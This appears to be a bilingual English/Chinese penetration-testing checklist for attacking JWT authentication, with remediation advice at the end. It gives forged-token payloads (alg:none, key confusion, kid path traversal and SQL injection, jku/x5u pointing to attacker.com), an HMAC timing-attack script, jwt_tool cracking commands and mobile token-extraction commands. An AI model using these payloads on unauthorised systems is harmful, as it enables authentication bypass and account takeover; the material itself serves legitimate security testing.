offensive-jwt

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

Overview

概述

Comprehensive JWT attack checklist for offensive security engagements. Follow steps in order; apply each technique to the current target context and track which items have been completed.
面向攻防安全测试的全面 JWT 攻击检查清单。请按顺序执行;根据当前目标环境应用每项技术,并记录已完成的项目。

Quick Reference: Misconfigurations to Check

快速参考:需要检查的错误配置

  • Algorithm set to
    none
    — signature verification bypassed entirely
  • Algorithm switching between
    RSA
    and
    HMAC
    (confusion attack)
  • Weak or guessable HMAC secret (brute-forceable)
  • kid
    ,
    jku
    ,
    jwk
    ,
    x5u
    header parameters accepted without validation
  • Expired or tampered tokens accepted by server
  • Sensitive data stored unencrypted in payload
Useful tool: JWT Tool
  • 算法设置为
    none
    ——完全绕过签名验证
  • 在
    RSA
    和
    HMAC
    之间切换算法(混淆攻击)
  • HMAC 密钥薄弱或容易猜中(可被暴力破解)
  • 接受
    kid
    、
    jku
    、
    jwk
    、
    x5u
    Header 参数,但未进行验证
  • 服务器接受已过期或被篡改的 Token
  • Payload 中存储了未加密的敏感数据
实用工具:JWT Tool

Mechanisms

机制

JWTs (RFC 7519) consist of three Base64URL-encoded parts:
header.payload.signature
.
Signing algorithms:
AlgorithmTypeNotes
HS256/384/512Symmetric HMACShared secret; confusion target
RS256/384/512Asymmetric RSAPublic key can be misused as HMAC secret
ES256/384/512Asymmetric ECDSA
PS256/384/512RSASSA-PSS
EdDSA (Ed25519/Ed448)Asymmetric
noneUnsignedCritically insecure
Additional pitfalls:
  • JWS/JWE confusion: server accepts encrypted token (JWE) where signed (JWS) is expected, or fails open on unexpected
    typ
    /
    cty
  • JWKS retrieval: SSRF via
    jku
    /
    x5u
    , insecure TLS, poisoned key caching,
    kid
    collisions
  • Token binding (DPoP, mTLS): incorrectly implemented allows replay from other clients
JWT(RFC 7519)由三个 Base64URL 编码的部分组成:
header.payload.signature
。
签名算法:
算法类型备注
HS256/384/512对称 HMAC共享密钥;算法混淆攻击目标
RS256/384/512非对称 RSA公钥可能被误用作 HMAC 密钥
ES256/384/512非对称 ECDSA
PS256/384/512RSASSA-PSS
EdDSA(Ed25519/Ed448)非对称
none未签名存在严重安全风险
其他隐患:
  • JWS/JWE 混淆:服务器在本应接受签名 Token(JWS)时却接受加密 Token(JWE),或遇到意外的
    typ
    /
    cty
    时采用失败开放策略
  • JWKS 获取:通过
    jku
    /
    x5u
    引发 SSRF、TLS 不安全、密钥缓存被投毒以及
    kid
    冲突
  • Token 绑定(DPoP、mTLS):实现不当会允许来自其他客户端的重放

Hunt: Identifying JWT Usage

排查:识别 JWT 的使用情况

  1. Check
    Authorization: Bearer <token>
    headers in all requests
  2. Look for cookies containing JWT structures (
    eyJ...
    )
  3. Examine browser local/session storage
  4. Decode the token at jwt.io or via BurpSuite JWT extension — inspect claims and header parameters
  5. Note any
    kid
    ,
    jku
    ,
    jwk
    ,
    x5u
    fields in the header — these are attack surfaces
  1. 检查所有请求中的
    Authorization: Bearer <token>
    Header
  2. 查找包含 JWT 结构(
    eyJ...
    )的 Cookie
  3. 检查浏览器的 local/session storage
  4. 在 jwt.io 或通过 BurpSuite JWT 扩展解码 Token——检查 Claims 和 Header 参数
  5. 记录 Header 中的任何
    kid
    、
    jku
    、
    jwk
    、
    x5u
    字段——这些都是潜在攻击面

Vulnerability Map

漏洞映射

JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated
JWT Vulnerabilities
├── Algorithm Bypass
│   ├── alg:none attack
│   └── RS256→HS256 confusion (public key as HMAC secret)
├── Weak Secret Key → Brute force
├── kid Parameter Injection
│   ├── SQL injection via kid
│   └── Path traversal via kid
├── Header Injection
│   ├── jwk (inline fake key)
│   ├── jku/x5u (remote attacker-controlled JWKS)
│   └── JWKS cache poisoning
└── Missing / Broken Validation
    ├── No signature check
    ├── Expired tokens accepted
    └── iss/aud/exp not validated

Vulnerabilities

漏洞

Algorithm Vulnerabilities

算法漏洞

  • alg:none — Some libraries disable signature validation when
    alg
    is
    none
    or a case variant (
    None
    ,
    NONE
    ,
    nOnE
    )
  • Algorithm Confusion (RS256→HS256) — Server uses RSA public key as HMAC secret when attacker switches
    alg
    to HS256; attacker re-signs token with the public key
  • Key ID (
    kid
    ) Manipulation
    — Exploiting
    kid
    to load wrong keys or inject file paths / SQL; enforce strict lookups
  • alg:none——某些库在
    alg
    为
    none
    或其大小写变体(
    None
    、
    NONE
    、
    nOnE
    )时会禁用签名验证
  • 算法混淆(RS256→HS256)——当攻击者将
    alg
    切换为 HS256 时,服务器会将 RSA 公钥用作 HMAC 密钥;攻击者使用该公钥重新签名 Token
  • 密钥 ID(
    kid
    )操纵
    ——利用
    kid
    加载错误密钥或注入文件路径/SQL;应强制执行严格查找

Signature Vulnerabilities

签名漏洞

  • Weak HMAC Secrets — Brute-forceable with dictionary or hashcat
  • Missing Signature Validation — Token accepted without any verification
  • Broken Validation — Implementation errors in signature checking logic
  • 弱 HMAC 密钥——可使用字典或 hashcat 进行暴力破解
  • 缺少签名验证——服务器接受未经过任何验证的 Token
  • 验证逻辑损坏——签名检查逻辑中存在实现错误

Implementation Issues

实现问题

  • Missing Claims Validation —
    exp
    ,
    nbf
    ,
    aud
    ,
    iss
    not verified
  • Insufficient Entropy — Predictable JWT IDs or tokens
  • No Expiration — Tokens valid indefinitely
  • Insecure Transport — Token sent over HTTP
  • Debug Leakage — Detailed error messages expose implementation
  • 缺少 Claims 验证——未验证
    exp
    、
    nbf
    、
    aud
    、
    iss
  • 熵不足——JWT ID 或 Token 可被预测
  • 没有过期机制——Token 永久有效
  • 传输不安全——Token 通过 HTTP 发送
  • 调试信息泄露——详细错误消息暴露实现细节

Header Injection Attacks

Header 注入攻击

  • JWK Injection — Supply a custom attacker-controlled public key via the
    jwk
    header
  • JKU Manipulation — Point
    jku
    (JWK Set URL) to attacker-controlled JWKS endpoint
  • x5u Misuse — Load untrusted X.509 key URL; exploit lax TLS validation or open redirects
  • JWKS Cache Poisoning — Force caches to accept attacker keys via
    kid
    collisions or response header manipulation
  • crit
    Header Abuse
    — Server ignores unknown critical parameters, enabling bypass
  • JWK 注入——通过
    jwk
    Header 提供攻击者控制的自定义公钥
  • JKU 操纵——将
    jku
    (JWK Set URL)指向攻击者控制的 JWKS 端点
  • x5u 误用——加载不可信的 X.509 密钥 URL;利用宽松的 TLS 验证或开放重定向
  • JWKS 缓存投毒——通过
    kid
    冲突或响应 Header 操纵,迫使缓存接受攻击者的密钥
  • crit
    Header 滥用
    ——服务器忽略未知的关键参数,从而导致验证绕过

Information Disclosure

信息泄露

  • Sensitive data (PII, credentials, session details) stored unencrypted in payload
  • Internal service/backend information leaked via claims
  • Payload 中以未加密形式存储敏感数据(PII、凭据、会话详情)
  • Claims 泄露内部服务或后端信息

Additional Attack Vectors

其他攻击向量

Mobile App JWT Storage

移动应用 JWT 存储

Android:
  • SharedPreferences
    : Check if world-readable; location
    /data/data/<package>/shared_prefs/
  • Keystore extraction: root device or exploit app
  • Backup extraction:
    adb backup -f backup.ab <package>
    (if
    allowBackup=true
    )
  • Tools: Frida, objection, MobSF
iOS:
  • Keychain: Check
    kSecAttrAccessible
    —
    kSecAttrAccessibleAlways
    is insecure
  • iTunes/iCloud backup extraction: unencrypted backups expose Keychain
  • Jailbreak + Keychain-Dumper for full extraction
  • Tools: Frida, objection, idb
React Native / Hybrid:
  • AsyncStorage
    stored in plain text (Android SQLite DB, iOS plist); no encryption by default
bash
undefined
Android:
  • SharedPreferences
    :检查是否可被全局读取;路径为
    /data/data/<package>/shared_prefs/
  • Keystore 提取:对设备进行 root 操作或利用应用漏洞
  • 备份提取:
    adb backup -f backup.ab <package>
    (当
    allowBackup=true
    时)
  • 工具:Frida、objection、MobSF
iOS:
  • Keychain:检查
    kSecAttrAccessible
    ——
    kSecAttrAccessibleAlways
    不安全
  • iTunes/iCloud 备份提取:未加密的备份会暴露 Keychain
  • 越狱结合 Keychain-Dumper 可完整提取数据
  • 工具:Frida、objection、idb
React Native / Hybrid:
  • AsyncStorage
    以明文形式存储(Android SQLite DB、iOS plist);默认不加密
bash
undefined

Android — check SharedPreferences

Android — check SharedPreferences

adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"
adb shell "run-as com.target.app cat /data/data/com.target.app/shared_prefs/auth.xml"

iOS — extract from backup

iOS — extract from backup

idevicebackup2 backup --full /path/to/backup
idevicebackup2 backup --full /path/to/backup

Use plist/sqlite tools to extract JWT

Use plist/sqlite tools to extract JWT

undefined
undefined

JWT Confusion Attacks

JWT 混淆攻击

  • SAML-JWT Confusion — App accepts both SAML and JWT; send JWT where SAML expected or vice versa to exploit weaker validation path
  • API Key-JWT Confusion — Test sending JWT where API key expected and vice versa
  • Session Cookie-JWT Hybrid — Test expired JWT with valid session cookie; inject JWT claims into session
  • OAuth Token Confusion — Send ID token (JWT) to resource server expecting opaque access token
bash
undefined
  • SAML-JWT 混淆——应用同时接受 SAML 和 JWT;在预期位置发送另一种格式的 Token,或利用验证更宽松的路径
  • API Key-JWT 混淆——测试在需要 JWT 的位置发送 API Key,以及在需要 API Key 的位置发送 JWT
  • Session Cookie-JWT 混合——测试使用已过期的 JWT 和有效的 Session Cookie;将 JWT Claims 注入 Session
  • OAuth Token 混淆——向预期接收 opaque access token 的资源服务器发送 ID Token(JWT)
bash
undefined

Try API key where JWT expected

Try API key where JWT expected

curl -H "Authorization: Bearer <api_key>" https://api.target/resource
curl -H "Authorization: Bearer <api_key>" https://api.target/resource

Try JWT where API key expected

Try JWT where API key expected

curl -H "X-API-Key: <jwt_token>" https://api.target/resource
undefined
curl -H "X-API-Key: <jwt_token>" https://api.target/resource
undefined

Timing Attacks on HMAC

HMAC 时序攻击

Non-constant-time comparison leaks the HMAC secret character by character via response time differences.
python
import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start
非常量时间比较会通过响应时间差异逐字符泄露 HMAC 密钥。
python
import requests, time

def time_request(signature):
    start = time.perf_counter()
    r = requests.get('https://target/api',
                     headers={'Authorization': f'Bearer header.payload.{signature}'})
    return time.perf_counter() - start

Brute-force first byte — longer response time indicates correct byte

Brute-force first byte — longer response time indicates correct byte

for byte in range(256): sig = bytes([byte]) + b'\x00' * 31 t = time_request(sig.hex())
undefined
for byte in range(256): sig = bytes([byte]) + b'\x00' * 31 t = time_request(sig.hex())
undefined

JWT in URL Parameters

URL 参数中的 JWT

  • Tokens in GET URLs appear in server logs, proxy logs, browser history
  • Leaked via
    Referer
    header to external sites; CDN/cache logs may persist tokens
bash
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
Check Wayback Machine for historical URLs with tokens; monitor Referer headers to third-party analytics.
  • GET URL 中的 Token 会出现在服务器日志、代理日志和浏览器历史记录中
  • 通过
    Referer
    Header 泄露给外部站点;CDN 或缓存日志可能长期保留 Token
bash
curl "https://api.target/resource?token=eyJ..."
curl "https://api.target/resource?access_token=eyJ..."
curl "https://api.target/resource?jwt=eyJ..."
使用 Wayback Machine 检查包含 Token 的历史 URL;监控发往第三方分析服务的
Referer
Header。

Manual Testing Steps

手动测试步骤

  1. Decode and Inspect:
    base64url_decode(header) . base64url_decode(payload) . signature
  2. Test
    none
    Algorithm
    (try all case variants):
    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
  3. Algorithm Confusion (RS256→HS256):
    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
  4. kid Parameter Attacks:
    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
  5. JWK/JKU Injection:
    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
  6. x5u / crit Handling:
    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
  7. Brute Force HMAC Secret:
    bash
    python3 jwt_tool.py <token> -C -d wordlist.txt
  8. Test Missing Claim Validation:
    • Remove or modify
      exp
      (expiration)
    • Change
      iss
      (issuer) or
      aud
      (audience)
    • Modify
      iat
      (issued at) or
      nbf
      (not before)
  1. 解码并检查:
    base64url_decode(header) . base64url_decode(payload) . signature
  2. 测试
    none
    算法
    (尝试所有大小写变体):
    {"alg":"none","typ":"JWT"}.payload.""
    {"alg":"None","typ":"JWT"}.payload.""
    {"alg":"NONE","typ":"JWT"}.payload.""
    {"alg":"nOnE","typ":"JWT"}.payload.""
  3. 算法混淆(RS256→HS256):
    # Re-sign with RSA public key used as HMAC secret
    {"alg":"HS256","typ":"JWT","kid":"expected-key"}.payload.<re-signed-with-public-key-as-secret>
  4. kid 参数攻击:
    {"alg":"HS256","typ":"JWT","kid":"../../../../dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"file:///dev/null"}
    {"alg":"HS256","typ":"JWT","kid":"' OR 1=1 --"}
  5. JWK/JKU 注入:
    {"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","kid":"attacker-key","n":"..."}}
    {"alg":"RS256","typ":"JWT","jku":"https://attacker.com/jwks.json"}
  6. x5u / crit 处理:
    {"alg":"RS256","typ":"JWT","x5u":"https://attacker.com/cert.pem"}
    {"alg":"RS256","typ":"JWT","crit":["exp"],"exp":null}
  7. 暴力破解 HMAC 密钥:
    bash
    python3 jwt_tool.py <token> -C -d wordlist.txt
  8. 测试缺失的 Claims 验证:
    • 删除或修改
      exp
      (过期时间)
    • 修改
      iss
      (颁发者)或
      aud
      (受众)
    • 修改
      iat
      (颁发时间)或
      nbf
      (生效时间)

Automated Testing with JWT_Tool

使用 JWT_Tool 进行自动化测试

bash
undefined
bash
undefined

Basic token inspection

Basic token inspection

python3 jwt_tool.py <token>
python3 jwt_tool.py <token>

Full vulnerability scan

Full vulnerability scan

python3 jwt_tool.py <token> -M all
python3 jwt_tool.py <token> -M all

Targeted attacks

Targeted attacks

python3 jwt_tool.py <token> -X a # Algorithm confusion python3 jwt_tool.py <token> -X n # Null/none signature python3 jwt_tool.py <token> -X i # Identity theft python3 jwt_tool.py <token> -X k # Key confusion
python3 jwt_tool.py <token> -X a # Algorithm confusion python3 jwt_tool.py <token> -X n # Null/none signature python3 jwt_tool.py <token> -X i # Identity theft python3 jwt_tool.py <token> -X k # Key confusion

Crack HMAC secret

Crack HMAC secret

python3 jwt_tool.py <token> -C -d wordlist.txt

**Other tools:**
- JWT.io — basic token inspection and debugging
- Burp Suite JWT Scanner / JWT Editor extension — automated testing and token editing
- jwtXploiter — advanced JWT vulnerability scanning
- c-jwt-cracker — high-speed HMAC brute force (C implementation)
- Frida, objection, MobSF — mobile JWT extraction
python3 jwt_tool.py <token> -C -d wordlist.txt

**其他工具:**
- JWT.io——基础 Token 检查和调试
- Burp Suite JWT Scanner / JWT Editor 扩展——自动化测试和 Token 编辑
- jwtXploiter——高级 JWT 漏洞扫描
- c-jwt-cracker——高速 HMAC 暴力破解(C 实现)
- Frida、objection、MobSF——移动端 JWT 提取

Remediation Recommendations

修复建议

  • Use short-lived access tokens; rotate refresh tokens frequently
  • Always validate
    aud
    (audience) and
    iss
    (issuer) claims
  • Disable
    none
    algorithm; prevent algorithm downgrades; pin
    alg
    per client/issuer
  • Ensure key material loaded for verification matches
    alg
    ; reject mismatches
  • Reject tokens with unknown
    crit
    header parameters
  • Validate JWKS over pinned TLS; disallow remote
    jku
    /
    x5u
    except trusted domains; short-TTL key caching with
    kid
    uniqueness
  • Enforce maximum token length; disable JWE compression unless required
  • Maintain server-side deny-list keyed by
    jti
    for early revocation
  • For DPoP tokens (
    typ:"dpop+jwt"
    ): verify proof binds to HTTP request; enforce one-time nonce use
  • Bind sessions to device when possible; rotate refresh tokens on every use
  • Prefer
    SameSite=Lax/Strict
    HttpOnly cookies for web; avoid localStorage for access tokens
  • 使用短期 Access Token;定期轮换 Refresh Token
  • 始终验证
    aud
    (受众)和
    iss
    (颁发者)Claims
  • 禁用
    none
    算法;防止算法降级;针对每个客户端或颁发者固定
    alg
  • 确保用于验证的密钥材料与
    alg
    匹配;拒绝不匹配的组合
  • 拒绝包含未知
    crit
    Header 参数的 Token
  • 通过固定 TLS 配置验证 JWKS;除受信任域名外禁止远程
    jku
    /
    x5u
    ;采用短 TTL 密钥缓存并确保
    kid
    唯一
  • 限制 Token 的最大长度;除非必要,否则禁用 JWE 压缩
  • 维护以
    jti
    为键的服务端拒绝列表,以便提前吊销 Token
  • 对于 DPoP Token(
    typ:"dpop+jwt"
    ):验证 proof 与 HTTP 请求绑定;强制 nonce 仅可使用一次
  • 尽可能将 Session 绑定到设备;每次使用时轮换 Refresh Token
  • Web 端优先使用
    SameSite=Lax/Strict
    HttpOnly Cookie;避免将 Access Token 存储在 localStorage 中

Alternatives & Modern Mitigations

替代方案与现代缓解措施

  • PASETO — removes algorithm negotiation entirely; eliminates confusion attacks
  • Macaroons — bearer tokens with attenuable, caveat-based delegation
  • DPoP and mTLS — bind tokens to the client to prevent replay
  • PASETO——完全移除算法协商;消除混淆攻击
  • Macaroons——支持衰减和基于 caveat 的委派机制的 Bearer Token
  • DPoP 和 mTLS——将 Token 绑定到客户端,防止重放